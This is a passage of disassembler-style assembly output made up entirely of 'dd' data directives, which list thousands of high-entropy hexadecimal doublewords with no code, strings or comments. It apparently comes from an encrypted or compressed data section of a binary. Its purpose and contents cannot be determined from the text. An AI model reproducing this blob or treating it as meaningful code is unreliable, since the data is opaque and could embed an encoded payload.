93389D63h, 961284E3h, 5B751D55h, 0AE9C82E1h, 0F4BFDBCDh dd 61F89AF4h, 0AAB5496Fh, 0BBC2952Ch, 87185024h, 4AA6D623h dd 8D9E6C07h, 0FD08D4C7h, 0ABA0374Fh, 5FB56DF9h, 20535E4Fh dd 0C47D9C8Fh, 2CC553EAh, 90144614h, 8DEE73F4h, 43178BFh dd 7B643C45h, 4656F4E1h, 0FB2ECB1Fh, 66D65859h, 10E191F6h dd 2CD5EB70h, 0E1AEF165h, 0BB8A27C6h, 69180E28h, 0DF6952D5h dd 0A687AAFAh, 375B5AC6h, 0B9B48AECh, 797B846Dh, 0DAB650DBh dd 80F4F105h, 2C108B04h, 0F10DFFF4h, 12D8F5A9h, 0BEBD5D4Ah dd 5FAA89AEh, 0B2A2099Bh, 0AEEB3171h, 170DE8C0h, 94292C8Eh dd 3613AF1Dh, 127E7CE3h, 1CFB9267h, 17A3EEC7h, 602B72A2h dd 84CFB1C8h, 0B2FDA8A7h, 2A05E67Bh, 763894CBh, 8D103828h dd 0D94354B0h, 0AED4AEE7h, 8CB0D83Bh, 3B610ECCh, 7C92C455h dd 5914FCA8h, 0DF5BBEE1h, 4D26E988h, 0B78E5EB4h, 7080058Bh dd 4AF8373Fh, 5C74F379h, 51B65098h, 9BC9D614h, 0A896FE97h dd 972789FBh, 3F1FEA0h, 40FE3C34h, 6DECEA7Bh, 0DF59B6F0h dd 0EE4CA056h, 133DF025h, 0DFD2B451h, 0FCB2D76Eh, 10AB1095h dd 633995A5h, 1B1339EDh, 429DF438h, 0E24F9785h, 36C1B212h dd 988DE62Eh, 0E09FE5D3h, 0CFFC8321h, 0A92E3CCBh, 0E1D6A96h dd 5864995Ch, 58EB25E2h, 89F35E28h, 6201DA96h, 0DCE714FAh dd 32D70601h, 0B1D0565Dh, 0C38C4CFBh, 0A50675D5h, 932B25FFh dd 0A2BC7B39h, 3BA4A6B2h, 385F3F64h, 49FEACE3h, 68029B4Fh dd 35C2E197h, 83E4C1FDh, 947719B5h, 6B57A144h, 3FB8D366h dd 699D0B4Bh, 3CFBFA2Bh, 0A253C85Bh, 0CF28DF9Ch, 0E75097E1h dd 0BB9C6876h, 0A222D8D4h, 60315FE1h, 0ECF42762h, 64B070C1h dd 60D4A72Dh, 788FADD4h, 0A70EA6C3h, 9F7B4C49h, 0AD4B7009h dd 75566958h, 0CBA25FB3h, 6D732C91h, 2D256776h, 76F9C07Ch dd 0D64E7685h, 1F7FA946h, 2BCEF84Ah, 642B7E87h, 0CDBBED2Fh dd 6422BFBAh, 43B31F6Eh, 0D6BF50BCh, 7E7137FFh, 0F0311A20h dd 0CD2C4586h, 0F2C4A5C4h, 5CD42D98h, 0DF0EC64Ch, 73592F1h dd 0AA0954BDh, 0C8636FA0h, 0A69D8072h, 0A62DB8D6h, 0E7C21AD7h dd 9C975E54h, 0EE95706Fh, 3056F422h, 1E821323h, 185910F3h dd 89171BA6h, 0FBF6EDC6h, 0DFAED1D2h, 0F2AE6735h, 0A1F9210Dh dd 66B31641h, 0BC3FF1D7h, 3AF3411Fh, 28A3F665h, 9E250A39h dd 0F21EF2Fh, 9401F3FBh, 595F63FEh, 509CC152h, 26766382h dd 0A2F8FB7Bh, 201D04Ah, 0E304F456h, 49C6D922h, 0BDE7C876h dd 231B42C6h, 0C3147C85h, 2383B4FFh, 0E78BD801h, 0B5E50A20h dd 0A208219Ch, 0A3F7923Bh, 75699C2Fh, 0F109AB1Ch, 13C0BEE2h dd 7E22C8ABh, 663044D5h, 93A2CEA9h, 0FA2A8B39h, 0EBD1DACCh dd 6DD627E6h, 1FD12B0Ah, 0D4942DAEh, 0DBACE7DDh, 0D498757Eh dd 0BA57204Ch, 7675E8D2h, 719DC048h, 0E0BC80B0h, 6A24BAEAh dd 8F194C7Ch, 0A980D1A4h, 0DF386679h, 0A8B995F7h, 0B14BFF9Dh dd 0E68413C4h, 0F8D10468h, 56C81F5Ah, 0C540DAE5h, 1BC00753h dd 5F63A7FEh, 0A156FFB8h, 823F4006h, 0E20132C8h, 912727BEh dd 44D8B6Ch, 26F070C1h, 95EC2CDEh, 0F05BB1FDh, 1DF470B1h dd 0DCFD5E92h, 1E62B452h, 0FADADDF3h, 0AF19A06Eh, 8C0FE94Eh dd 36C3AFEBh, 3F7BDF07h, 12AA7A75h, 1D15D3E1h, 24CF0EA0h dd 17DEC58Bh, 0AF1BBCC9h, 56987087h, 0B420D61Eh, 3A6DF271h dd 0DCEC89F6h, 959C7142h, 0E1B41B8Fh, 7DEB932Bh, 3DEBBA41h dd 15D92125h, 0F52369F4h, 9F5E2EC6h, 1F4DF93Fh, 0B30C3956h dd 17369C94h, 4F2893A5h, 0CB6E535Ch, 72C27093h, 0BE40C33Eh dd 1C9ADB16h, 0A7A5B468h, 8C4512E6h, 0D82561C8h, 9812AA45h dd 70C018D5h, 0B2F06E3Dh, 65EBA894h, 57AE8EBDh, 39104B3Dh dd 0C70701Bh, 86133F76h, 0DD5848DEh, 0FA9920Fh, 0B7D4D3C7h dd 0A783C9D7h, 0E3763C41h, 19C83F52h, 0DB0718EDh, 0A84423BBh dd 641CFEAFh, 0C1A97CD0h, 13F0D77Fh, 8FF852AFh, 189806A1h dd 0A820993Ah, 2E3A124Fh, 0C0129404h, 25CE1A6Ah, 0E38B11E9h dd 4706F41Dh, 120C4682h, 318804BEh, 0FE01AE49h, 0BDFC502Ch dd 0F66A0B3Bh, 4A6213Ch, 52DCD8CAh, 474AB596h, 0C8242443h dd 0F672F0A9h, 8F6D2BE2h, 0B893D4E7h, 0E7F6E83Ch, 0E5030545h dd 9F67DCFBh, 0B3866083h, 38B1FA6Eh, 5AF5DB71h, 358C0FBFh dd 0BD571CA3h, 0CEF66674h, 0B2E80089h, 0EBE3F4Bh, 32438846h dd 0E5D38707h, 3396ADA9h, 0BFFCCD9h, 0DA73E4D7h, 0B22ADCE5h dd 0CE3AA55h, 0D5D9B9Dh, 0E3A522F3h, 0DF0233C0h, 0A72BF643h dd 5FC3FA85h, 7FA061B1h, 965B0E4Fh, 0D92073E7h, 556D0937h dd 854934C8h, 2656709Fh, 34598E3Fh, 29E20FC3h, 8885951Ah dd 0A0047E9Ah, 0AA4CCEDh, 0FD591BDh, 5FB9F62Bh, 721F45D8h dd 0F8BFB926h, 8AB90192h, 0E5AF52CFh, 5751AD40h, 2FBC8E9Fh dd 0F09D3095h, 0EBC5DBCAh, 33558331h, 88D92502h, 24D612E0h dd 7F568D45h, 9A83B22Ah, 0E1D25886h, 0C4079F0Ch, 9DCA344Ch dd 9E05CAD6h, 0F151014Ch, 54A3BEFCh, 37FCA02Dh, 7A2A6283h dd 0E8484A39h, 542CF161h, 0B2F59FD3h, 35902C22h, 53F1AA9h dd 69FD4E90h, 0A4931C0Bh, 2B077E0Ch, 3EECF132h, 0F9DD18B3h dd 4480130Ah, 51F02B99h, 73D87EBCh, 9E621B83h, 55DD7681h dd 81FC8603h, 870E3D00h dd 0FC8609CCh, 0C99188F6h, 2AA2E714h, 7937351Ah, 875AAC98h dd 0E73D3B2Eh, 0F17DB3ACh, 5FB3BCC6h, 7DFE1B0Ch, 4332568Ah dd 8ED6A450h, 0BBEDE4ACh, 5DF3AA66h, 804D1BAFh, 5388F9C0h dd 631E8852h, 9F7FD49Ch, 167F5C2Ch, 0B5B0CE2Ah, 0D9A1CB3Ch dd 6C97B243h, 7DA048A1h, 0BC17DDF6h, 3904420Ch, 0D9845E6Dh dd 2757BF35h, 375930F2h, 0D3BB8DCh, 0DDB1F342h, 6258D5CCh dd 104D20B8h, 2957DF91h, 28187D5Ch, 6ADDCBDEh, 0D7855288h dd 0BA68B808h, 0F822F21Bh, 0C0115C7h, 8C079FFEh, 4D9A8081h dd 0A2507C8Eh, 0F6084BCAh, 760A7CBDh, 97440004h, 6665BC86h dd 0BFBCB13Dh, 787636D2h, 17BB3964h, 0D51862E1h, 679639DBh dd 3FBEB1B7h, 7476A46Dh, 0EDA4FBBDh, 0CEAA5DB9h, 1B5F1564h dd 81EABD7Eh, 9A661CFCh, 566BFCC2h, 0B33EFCCCh, 0B0EB1529h dd 0A88A7540h, 8CD11143h, 0C7FF0F25h, 3CE049D4h, 7DBB683h dd 4158CC88h, 0F280E147h, 54EF4031h, 47D391DBh, 0CF7AE5DFh dd 31FC963Fh, 4F4A13B6h, 0CCBB72B8h, 0D7285BE0h, 22417855h dd 512AD534h, 0F8DF0F6Ah, 0B76681Ah, 0D3D0B3B3h, 18291F63h dd 364C6FBDh, 10A1BBBDh, 0EED8E9D4h, 241AAB5h, 0C61FA277h dd 0B079E9D1h, 7C12895Bh, 0C280C396h, 0DAD5EE8Ch, 0E2FFEB92h dd 0F98396D6h, 0F394EDA3h, 4792BD5Ch, 8D5F6654h, 0B0F13C82h dd 0EB7F319h, 0C8A099Ch, 3EDC2971h, 0A0A491C3h, 7FC5EBAEh dd 9DE6FF04h, 3190294Eh, 99D8D59Eh, 9C16C108h, 0C7A0AE03h dd 678703C3h, 0C07DA150h, 0C0D080FDh, 0C37FB4C4h, 0D5FC7D54h dd 89683943h, 26EACFEh, 5C2528CCh, 62A6707Eh, 17C8A7F4h dd 0FD232D68h, 6BE377ADh, 5C07575Eh, 0A0AFA22Eh, 11EBB105h dd 0EF647D65h, 0BD8072D4h, 12DA9113h, 0C9721191h, 8A53260Fh dd 11E3197Dh, 0B7FF0F62h, 7509DBB8h, 0DE22B9B9h, 4B66F903h dd 0A72D5678h, 0C4AA0B6Eh, 0B286A882h, 0DAFE6DDAh, 3D019EAEh dd 4E2C2DE0h, 3CDF645Ch, 0BAA8ECDBh, 6ACD0A10h, 6EBCB326h dd 69C3DC08h, 81D6488Bh, 0D46DB170h, 63B82F94h, 1417DF5Ah dd 0C03FB5BFh, 640072A3h, 50143AC2h, 8E17ADFBh, 163413F6h dd 9058998h, 525B0815h, 6B58D6B5h, 668C4F3Ch, 416168A8h dd 64D67520h, 23D0F391h, 0D888A2B6h, 9A3DA6DDh, 60AB4A30h dd 4A3F1C5Fh, 0E7D4D2DCh, 0AEEBEDE7h, 0E70AA3EAh, 0E3F4992Ch dd 0F67273D7h, 0E65994E1h, 0DD415791h, 6623581Dh, 1703ADC5h dd 0F9F6AB5Fh, 6456F4FBh, 5E1E27B1h, 0B9FC062Dh, 0F46B7ED2h dd 9DB9C3Ch, 5D7CD34Ah, 628CF061h, 37FBA1ECh, 0F94EA712h dd 6D94FEF5h, 0DEBFDCB7h, 64F2AB0Fh, 57EBFA40h, 0B9675CDCh dd 0B580E31Bh, 0E31DA71h, 0CD0B8EF5h, 0E28A440Eh, 13D41F40h dd 0D87F0264h, 0A42D888Fh, 163BB503h, 492F7F45h, 0A568E0E7h dd 72A7CBB7h, 48C4AA2Fh, 0BCEDE4DBh, 0B3E59F3Eh, 0F1E4C2Bh dd 4C905BD2h, 23BB2E3Dh, 0F34A68D3h, 6B6CD73Dh, 0DCA51452h dd 0FAC68DFCh, 57D1B54Dh, 0D9A93FE3h, 756660B5h, 0D6805B8Eh dd 7DF10A7Bh, 56498CC9h, 3F165528h, 75FC1728h, 0AF5100D0h dd 7D9B89BFh, 8A7F7712h, 3F0CD0FCh, 417BE1A2h, 0EFAC892Bh dd 71B8C5D1h, 0D86FDFDFh, 7C04A2BBh, 1677F890h, 0BD289D1Ch dd 0E5A5CB5Ah, 0F2C5AF8h, 59856CA8h, 0E3779B30h, 0F7964C44h dd 9979EBFEh, 1C4C660Bh, 463B68C2h, 270F9525h, 0F1F0AF4Fh dd 6857F2E3h, 5C1EA6CDh, 0BAFDC623h, 77EB1E55h, 0C99B8C7Fh dd 7D5CDB6Bh, 52BCEC51h, 3FF3A3E4h, 0F54AB816h, 6F96FFF7h dd 5DBCDC36h, 3B712BCFh, 37ABBA20h, 0A9477CCCh, 0ADB0D363h dd 0A39E27Dh, 0CB0F8AF3h, 6388460Dh, 0D3571C41h, 0F8B88164h dd 54CDCB0Fh, 1E0B96C3h, 0B51740A5h, 0A7949917h, 0DB9CF3Fh dd 4945A8EBh, 0BCAD67B9h, 33C55811h, 0CF0EADDCh, 6C984B59h dd 13BF26FBh, 7B4864B0h, 0A76BD90Ch, 0FEA4955Ah, 9C6CDF8h dd 955195C8h, 0C4F94FFCh, 791678C8h, 37805FC2h, 6869085Fh dd 7068E5AAh, 4E9D5424h, 968663C0h, 8120E97Ch, 0EB3FAEB1h dd 0F54E394Ah, 6BCB8B97h, 24183BCFh, 0CF8AB45Fh, 83BCE9FCh dd 6C9FCFAAh, 73ACD4D2h, 2715335Ch, 0FC08C310h, 0A990AD34h dd 2D64E487h, 3BF11C54h, 0CCD8FB15h, 84D6C848h, 6DEC4BFBh dd 7C3B686Ah, 6B7E3705h, 4563E947h, 4796B20Bh, 2C52DEBDh dd 0EA4B60CBh, 8BC7D74Ah, 781951A1h, 283E0EC7h, 4CC8E373h dd 0DA89C865h, 0E018ADD6h, 0ACE5F259h, 7FBA9081h, 0AA68FC8Fh dd 830AAB84h, 33535D6Eh, 0BCEFF5DEh, 0D7B8AF0Bh, 36A70F2Dh dd 0A2B52992h, 0EE855C51h, 0E188614Dh, 7DAFEC16h, 0EAFF79FDh dd 9795089h, 327B4FEBh, 0D7FF6073h, 1BD764E7h, 63AED194h dd 0DC08F1B5h, 0D7857064h, 0EE96E2A4h, 0AD24DEB7h, 73FE52DBh dd 26CA06FCh, 0D106D896h, 96DB7BE3h, 61B57F61h, 38F092A8h dd 0C848ABD8h, 0F72D9EA6h, 0F78E2CE3h, 0F9157D19h, 0E975A2AEh dd 3E816D09h, 0C1E47C0Ch, 8F346033h, 0F9E86B9Ah, 0ECDD59DCh dd 77EED043h, 66B374E0h, 8DB59059h, 508185CEh, 78CB84B7h dd 1AAB9EB5h, 9931FC89h, 0E3F4DEBh, 0BAD06372h, 0DB4F4EE6h dd 0F2B94F3Dh, 0ED76B911h, 0E67D930Fh, 0EF9B67ACh, 0A0B72122h dd 24124B5h, 2F79F2C4h, 988B0EBh, 42F19EECh, 0DBBECBF8h dd 8CBB226Fh, 61AEB8F1h, 0E878CCD4h, 0E989D67Bh, 0FDCDA740h dd 0EB21BAB2h, 0A4DC4D73h, 6AA54A97h, 0B2776615h, 0B2683113h dd 79D14085h, 0BD95D5CFh, 0CCA54540h, 72B81437h, 868E61C5h dd 64AA6EC5h, 249168D1h, 6CA7EAECh, 0A0A6A4FAh, 0F7F62F3h dd 3F3E3BFDh, 0EBB05D78h, 0FDFC71F7h, 0FC2FE3A8h, 0F84F9AEEh dd 0F6F67754h, 0E29CEA90h, 0A173DE44h, 46D97766h, 0A5EF605Bh dd 8398AD0Eh, 0E38EDE17h, 6A8F18F8h, 7E84B467h, 8C4E8C67h dd 540ED89h, 58E823F2h, 0CA907954h, 0E2A762ADh, 0D8A6784Bh dd 6CBB44C2h, 0B75110F5h, 0C6F4437Eh, 0C7733927h, 67DE8BD6h dd 2AD4BDDDh, 0CAB85164h, 0A90B386Dh, 0FDCBD704h, 3D8E9C72h dd 0B415F04Bh, 0A63EF51Dh, 0F4D42719h, 300A69ADh, 0AFEF2D99h dd 0AFDF2598h, 6824E087h, 279D58CBh, 0C7995E75h, 8EA298Eh dd 25B1F809h, 82B7A1BBh, 0DC8CDFC7h, 0E99421A6h, 0D83C53EAh dd 63F490F2h, 0E86AA8F8h, 6B9E1D17h, 0A4C87748h, 97A2D1BBh dd 0F0D0097Fh, 0B18C5E9Fh, 0AF7781BFh, 0E6175924h, 65CB76B4h dd 0E079E6F3h, 0D45BA8CCh, 30619BE8h, 0B88368FEh, 816C6DF6h dd 18311394h, 73365B09h, 9082A4F9h, 9886FADBh, 0EE22F8CFh dd 0F4EABF70h, 0A8944952h, 0B8CA3244h, 62985E0Eh, 0A70B9818h dd 85ADB3F6h, 0F398C453h, 719812D1h, 200E0B79h, 685B87Fh dd 0C5906F11h, 4D17FE15h, 2243156Ah, 888CDF21h, 87616E8Fh dd 7EF667F6h, 53741363h, 0C5F891B0h, 0D3DC7746h, 6CBD9210h dd 0AE4384A3h, 0C7F5FE5Ah, 0E1905620h, 252D9F28h, 25EA5E18h dd 86D42F37h, 6F09440Ah, 0ACD8EB07h, 0D3D2B88Fh, 0BA29952Ch dd 0D77F4303h, 61D8FF77h, 384615ADh, 57A02744h, 0C61F6A90h dd 46FAE9D3h, 6C995BC6h, 0DCFE5260h, 1DBE6397h, 4A55B785h dd 0C6CB47Fh, 0D5EC95A8h, 9EC28186h, 0F927B3D8h, 3EF1F0F8h dd 0AC23A9EFh, 9EC34F49h, 1B879267h, 0AC240CD8h, 8B543C7Bh dd 0E5291B97h, 0ED1FE841h, 8FB621ABh, 6FC848A0h, 9EFFB5E2h dd 0D307A6DCh, 4F4B0252h, 0BA89C704h, 0A789C90h, 0BD6F0DCCh dd 3A553111h, 0E19DF080h dd 8A9163CAh, 6069A3C5h, 71B0D869h, 0CEE9DEB6h, 963D544Ch dd 44F05E2Bh, 0B3369D09h, 96A8F387h, 0F990E471h, 6B185D56h dd 0B6553D8Bh, 1251BF4Dh, 2280EF05h, 6405A315h, 0B4486058h dd 9D957D37h, 6D6A768Ch, 92BBE0E2h, 5CB33C4Ch, 3838AAA6h dd 9CFD975Dh, 1847CFC1h, 0CF38D83Fh, 0C2E7DC75h, 0C1774902h dd 5C5CBD1Bh, 0E7388CD7h, 90CEE5CBh, 0A9543069h, 71F8C230h dd 0A4CBA688h, 7209C83Dh, 0A725E63Fh, 0DDD79206h, 0E6503999h dd 56EE02CAh, 209F7262h, 22A5FBA9h, 4B4B93h, 0C6F5440Eh dd 6FD3749Bh, 1C8FDF62h, 0B31F870Ah, 1F0798ACh, 0BDCE52A3h dd 1217DBD7h, 61FDDAFBh, 0ED089CECh, 17C36067h, 3AC65D3Bh dd 4AB7608Eh, 0A81E1A71h, 824738A7h, 0F312F6DAh, 0FAE4128Eh dd 77CE1DF2h, 0A620F5ACh, 0D2D9A9F9h, 633EA689h, 9463E26Dh dd 967BBD9Bh, 0D16333BEh, 0EB6C0F56h, 0E1AEB7BEh, 0E8A0D2C8h dd 0EE7130C4h, 64CACB7Ch, 2ED3A34Eh, 0B4EA448Bh, 151A555Ch dd 0BC73A422h, 984CC18Fh, 9685C459h, 4A8457E2h, 6D821FF1h dd 0C57EE037h, 5256422h, 29177E44h, 0D9415512h, 86DF3F37h dd 0AA5E10EEh, 0FCFE41F1h, 28569E63h, 2669CCE7h, 0CD56D24Bh dd 4657C00Ah, 0AF1A9934h, 8CE2B50Dh, 0BAD55F56h, 1EE8869h dd 0DC390C6Ah, 86FCA9DAh, 6F794A2Fh, 36D51E2Bh, 968ABE83h dd 4D46E63Dh, 0F4116E55h, 958A0636h, 0A31DFFE2h, 4DB45012h dd 7C5C2542h, 0F50B5D6h, 320F7D8Ah, 0ED957360h, 89D3692h dd 2E8398C2h, 626B6E1h, 420C856Dh, 52E5A1ACh, 8A2C37C8h dd 3F010D0h, 0B20AACF4h, 0A8DA4A5Fh, 0F2DC4733h, 7F0A07B4h dd 0B1D31372h, 822437BEh, 0E3FFD535h, 0F60B3321h, 6BE51D0Eh dd 0B2AA8780h, 0A1B9BAF2h, 752B0CE1h, 0A9720E17h, 550CDB8h dd 113A5ACh, 0FC4EFA61h, 0C1BD9B9Ch, 0E1896ACEh, 0E36C4EDEh dd 6FF1C964h, 1FCE99EFh, 9639B6F9h, 3494370h, 0AA54F99Ch dd 9847EB4Bh, 0FEC9C0B0h, 6F8340DFh, 0E8810CECh, 9570B576h dd 6669EC32h, 0F8173E1Ah, 5443C6Bh, 0BFDA5633h, 967B9C81h dd 0E0BB7CE4h, 6D91D575h, 2CB8DCABh, 0D4739340h, 5EEED3DFh dd 0AF629EE3h, 0C2B3A8F0h, 0FD8C5866h, 7BEE9036h, 0D42CB11Ch dd 91F363E9h, 9B60A32Eh, 0B8C0972Fh, 0E5D8F794h, 2623A327h dd 0E53E7800h, 81CD621Ah, 0E205DEADh, 78F013D7h, 4BDF77D0h dd 5424E575h, 533B2AB6h, 0C1DB5049h, 4EC673B9h, 4BC9FCC4h dd 9822B0C3h, 0CD0D836Dh, 75C75389h, 0AF216BC8h, 46FF11C0h dd 0A734F9C2h, 0F9D33055h, 0B4881047h, 3EE521F9h, 0E5D05738h dd 0C74976D0h, 0B1BDB095h, 9460612Eh, 6DB66440h, 0A59EF4FCh dd 0D2AAA6F4h, 763D9991h, 0E83F2761h, 0CA0880D6h, 6461AED8h dd 0B86DB102h, 0CA97B7B8h, 0FEC93ADBh, 0EA667D8Ah, 76FAD67Fh dd 4894D112h, 96B9836Ah, 1D814CBAh, 0BC969264h, 0DC24FACDh dd 0F37FC375h, 4AA83356h, 36CA4434h, 5228AFFDh, 117A646Fh dd 8605E321h, 0A067F146h, 4FA93F7Ch, 8E2CDAB9h, 0E6C95CC4h dd 0A95FEF42h, 3B2CFE2h, 1361AE2Fh, 72C78310h, 6699A39Dh dd 0FA84DAB5h, 2EB91645h, 0AD7BE25h, 81850C31h, 0A8180DACh dd 2507D121h, 0BC34AD22h, 23F80A83h, 772CA43Dh, 5933530Ah dd 0F7EB3C7Fh, 0EE053999h, 7BA1F360h, 28141F90h, 3F2F452h dd 790D11A6h, 0F91E7AB3h, 59C825B4h, 25A6E3EDh, 0A22F4DBh dd 0D90494E0h, 3286C57Ch, 0AD61B489h, 9BFD77D9h, 0BF46868Dh dd 0C9E40810h, 0E0DB0C76h, 0E82C67B4h, 6445A87Eh, 0B5EA329Ah dd 298DF450h, 91F2329Eh, 0C2393B73h, 8F66C6ECh, 309EA0C3h dd 708806D9h, 0A60AAC70h, 4B848BAh, 0B66781B0h, 0AB411932h dd 15DA3587h, 0F7CEBFFFh, 866071CBh, 6CFC5178h, 57DDDDD5h dd 0B719AD2Ah, 11C472E3h, 0B1B7864Eh, 9267F135h, 0F77F8E7Ah dd 7C9A5833h, 96E8754Dh, 46618C47h, 0EE6CE3B4h, 0F21BE906h dd 8279C656h, 78926F44h, 0BD7F9C85h, 0C8F274F3h, 3BD18662h dd 981FBBCCh, 633C679h, 3790CDC5h, 54BB9E72h, 0D5BDFAB8h dd 0AFA404Ah, 5EDCF15Ah, 9A698834h, 8D76E3EDh, 0A6F6A067h dd 377EB928h, 0B928C9h, 4674EE1Ch, 0F271838h, 0B3EA5250h dd 8D5DEFCFh, 7AF397D3h, 23D40E15h, 47D76B1Bh, 1EB0299Ah dd 0CE6C41FDh, 5F9D3CECh, 2ACBEBEAh, 803AA0CAh, 8129879h dd 0BEE013Dh, 0D264A4D9h, 85B465E8h, 0FB4976FCh, 0F4D82D61h dd 0A7884F30h, 22ED2D90h, 6F59A066h, 21A35AD8h, 0F09FB097h dd 8D8034A4h, 3C0E1D61h, 0A94A879Eh, 0A798BBD8h, 7B169AFDh dd 0ADC2E86Dh, 909E2CA1h, 0AED227CAh, 12F47213h, 0B7A566D1h dd 0B64DF6CFh, 0D44951EEh, 55C1E430h, 61875306h, 0E5C0A099h dd 1F1BADDDh, 0BCC4457Ch, 0A7DEE239h, 0B69CCB3Ch, 38ED1075h dd 4FD31045h, 0D14DBC94h, 906F79E8h, 28176862h, 0B04394A1h dd 5C0BBC3h, 8A7F15CCh, 97B62EA0h, 990C9B5Ch, 0E568B2C0h dd 659F9E5Eh, 0AC87C548h, 0C781C937h, 0BDFF808Ch, 0BDBD139Eh dd 4D1F6DFh, 23A231FCh, 92FDE4F1h, 5E8CCD32h, 3A97AE70h dd 47AF73E9h, 933CCE2Ch, 882A0C14h, 0F1CC6F1Ah, 0BB1A2BE7h dd 7895106h, 2302DB3Ch, 55739F14h, 1EDB61C0h, 88D628ABh dd 3CC110A3h, 24B3EEEAh, 30BDC9h, 5F0494EAh, 0F8A38199h dd 0E2141B23h, 0D9DD9A96h, 0F928B0EAh, 0FBD3257Bh, 838A0425h dd 0E92C4883h, 0DFEF4029h, 5EBA249Fh, 9F12FC46h, 96B71E4Eh dd 22540789h, 0AC4FD8F3h, 0C09297C0h, 16BE2AE8h, 0E4B60651h dd 44CE658Bh, 279368A8h, 18B67A5Ch, 0D4BB32F2h, 816AD091h dd 0BD2465D8h, 46F9144Bh, 6F533B6h, 0AB1A93FEh, 64AD2C9h dd 0BDF73264h, 8F8BF735h, 0B3EA9A11h, 38FA1E3Fh, 0C5D60B0Eh dd 8342BE66h, 0FF6AFC2Fh, 593D6C81h, 897AF863h, 569CCF7Eh dd 0B47E28B7h, 0DBFE72CFh, 31DC9C67h, 64E29F94h, 4FA0F328h dd 91B1D1DFh, 1ED285FAh, 8882943Fh, 2ADE7C6Eh, 73AD9D04h dd 0CC37AC7Eh, 91EB6997h, 0A7E02014h, 93DE9063h, 7D2C41E2h dd 0A0F8D92Bh, 31390F43h, 2006958h, 0DD4CE3EFh, 5EA0B83h dd 3983F0C0h, 5472E2A6h, 78F087B1h, 0DA92B79Bh, 1D317ACEh dd 6BA9FCE0h, 0B2CDFEE2h, 0AC3CEC02h, 0D6F80E8Ch, 0FE351869h dd 0F5F58A99h, 0A46AFC45h, 0A19A93A5h, 0ECCA3552h, 49E57AA4h dd 9BD7B932h, 6BB43BD8h, 841CDBB3h, 29AD1F20h, 0A5061AE1h dd 8A50E2E9h, 3CC7EB1Bh, 714ED8E1h, 0C7220D56h, 8F1B6BCFh dd 6ABC54E4h, 0D3ABF3Dh, 0B4E343EEh, 6A18085h, 0AD7C77E3h dd 94BD8D3Eh, 0DC91DC12h, 0EAAD2D6Ah, 7E888D0Ah, 0E610EA1Fh dd 0C88A8F02h, 0B221D931h, 6C5A2A26h, 64F60B03h, 8B9FAB4h dd 0B1D12629h, 4C31EEB5h, 0EC7B5A4Eh, 357BE98h, 0F340CD0Fh dd 0DEEBAE8Eh, 8B0AA157h, 24E505CEh, 0CAB91514h, 83A8DB34h dd 72DE90E6h, 3DB3B279h, 0EE84134h, 5FCA284h, 0E4D55743h dd 0AE362397h, 0B98C4684h, 0FAF6E1F6h, 6071336Ch, 0A26FC538h dd 0C69E3309h, 3256512Ch, 0D3256EAEh, 8B978524h, 0FA9E8198h dd 550B84CBh, 6BE3A191h, 0D08F1CE0h, 0FA6BED7h, 2C23578Bh dd 0FF7BCCAh, 0C7C2DAEDh, 88EA416Ah, 0E63E523Ah, 0EBB38F99h dd 0A830B579h, 0BDD4402Fh, 0F7D8E597h, 0BA239A47h, 497E5224h dd 2E6643B5h, 0D40EDCE1h, 4A76126Ah, 1D3613F7h, 1C7DEECFh dd 1190A0DEh, 5D8B036Eh, 0D810E7A4h, 993A9DCBh, 2AE10DFEh dd 3853C368h, 0CB0A7BBCh dd 0D9A8C589h, 75501987h, 0A9E84D7Eh, 0DCD9DDD5h, 0E5E9420Ah dd 50E91867h, 9409D235h, 95A82E54h, 0F487B90Eh, 6B4B1920h dd 0A1D73802h, 45E05364h, 71E965E2h, 183FE8C4h, 1A37053Fh dd 2A0ADEF0h, 43435492h, 0C3FEAB69h, 5D9191A2h, 0EB3562F9h dd 9FE26640h, 334AC931h, 60DBDBBDh, 80AAB239h, 0DFA60B60h dd 53F6D40Bh, 0FF3AB2DEh, 9970F843h, 904C433Ah, 0BDC0F04Dh dd 722A2BBEh, 0BAFBDE4Ch, 8E652Ch, 0A16E520Fh, 0DC39A4BEh dd 0B6DCC3CBh, 35C8B154h, 0FB7588F6h, 15DCB391h, 389F9588h dd 4F6ED0D3h, 186024FDh, 0D49988D4h, 1BA0F97Ah, 0E03D4831h dd 32517D2Eh, 0F913BED8h, 0D30BE6Fh, 0BFD6DDADh, 0ABE7C097h dd 2194B75Fh, 23044A27h, 0D24DCE82h, 0D50FDDF2h, 7B752E70h dd 0E95842B3h, 4F02B8F6h, 768CAE1Ah, 51068022h, 8A8CA89Ah dd 8B4DC880h, 7F5B3861h, 7B0C8F2Ch, 8DF64EB6h, 1E24CE9Bh dd 2EDE77D2h, 9DC0DD70h, 833F174Ch, 2EA46D8Eh, 738E271Ah dd 226CA47Eh, 84B5B30Fh, 61A7306h, 548AF523h, 2A2C0931h dd 0D4994BB6h, 141D6FE4h, 3B87EEF4h, 59354762h, 16D184B5h dd 125E802h, 0E0964119h, 0EB3D41FDh, 0AB4543CEh, 0DE3BAB18h dd 32002600h, 48B7A1B0h, 94BCAE51h, 0C3A70B7Ah, 6DE5C89Ch dd 0A9E676ABh, 0C3EBE337h, 0FC145974h, 97AC5ED5h, 311B0E85h dd 0B8ECDC54h, 8A9D396Eh, 0E46F420Ah, 147F67A3h, 0AA9D742Bh dd 56C9154Fh, 0EB2BD595h, 0BAFD8ABh, 269F87CCh, 77C9ACB4h dd 5F073C7h, 64D3F78Fh, 43C7EE85h, 5D2E42FAh, 0BB4675B9h dd 8B5AADF6h, 0F231A870h, 0E2CA578Eh, 0F6C87288h, 0F137DC7Dh dd 0E8921060h, 8B669EC2h, 0E9EFB98Bh, 2FE63D6Fh, 0B3576FE9h dd 41ADF0F7h, 23CFCDB0h, 0DD145B8h, 91D168A8h, 0DB2C86AFh dd 5D6ACD0Ah, 1A42791Dh, 82EF639Dh, 9230D8B8h, 0EBD768D1h dd 0B8FD1361h, 0EF6B0ACDh, 65F00BF6h, 7B825776h, 0E0F57E0h dd 0F0CBFC8Ah, 38A5465Dh, 798EC361h, 0DA123750h, 92914B28h dd 31177304h, 0E3D0B22Eh, 0DE1F5F2Bh, 728B82E2h, 0BC7C6840h dd 1B63153h, 78D61CBEh, 0FD85F095h, 0F473C366h, 6BD21630h dd 2BB0B2EEh, 91B6BB68h, 0A8BB1034h, 7E649500h, 0B2BE8537h dd 0A6BB074Ch, 0E566D03Bh, 0D5888DC8h, 3E754686h, 0C5B1AE16h dd 36BE715Dh, 7729872Bh, 503F79B9h, 7BBF12ACh, 63AE51FAh dd 0A817A452h, 2288F291h, 32DFD781h, 7400AA87h, 78D51DCFh dd 